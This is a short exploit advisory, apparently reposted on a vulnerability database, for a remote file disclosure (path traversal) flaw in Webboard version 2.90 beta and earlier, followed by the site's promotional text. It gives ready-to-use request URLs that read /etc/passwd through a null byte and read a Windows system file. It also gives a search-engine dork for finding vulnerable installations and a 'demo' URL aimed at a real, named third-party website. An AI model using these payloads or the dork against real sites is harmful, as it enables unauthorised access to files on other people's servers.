============================================================
Webboard <= v.2.90 beta Remote File Disclosure Vulnerability
============================================================
Webboard <= v.2.90 beta Remote File Disclosure Vulnerability
=============================================================
Author: MrDoug
Greetz to all my friends
=============================================================
There are 3 vulnerable calls to fopen() in "/webboard/view.php"
They are on lines 7, 109 and 113. I have not actually read the
source but based on tests I would GUESS they look something
like this...
7: fopen('title/' . $_GET['topic'] . '.txt');
...
109: fopen('counter/read/' . $_GET['topic'] . '.txt');
...
113: fopen('counter/read/' . $_GET['topic'] . '.txt');
IMPORTANT:
Due to the trailing ".txt", retrieving files with different
extensions will be difficult unless you are able to get a
null byte through without it being escaped.
=============================================================
Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00
Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula
Dork: inurl:"webboard/view.php?topic="
Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula
# 0day.today [2018-02-16] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation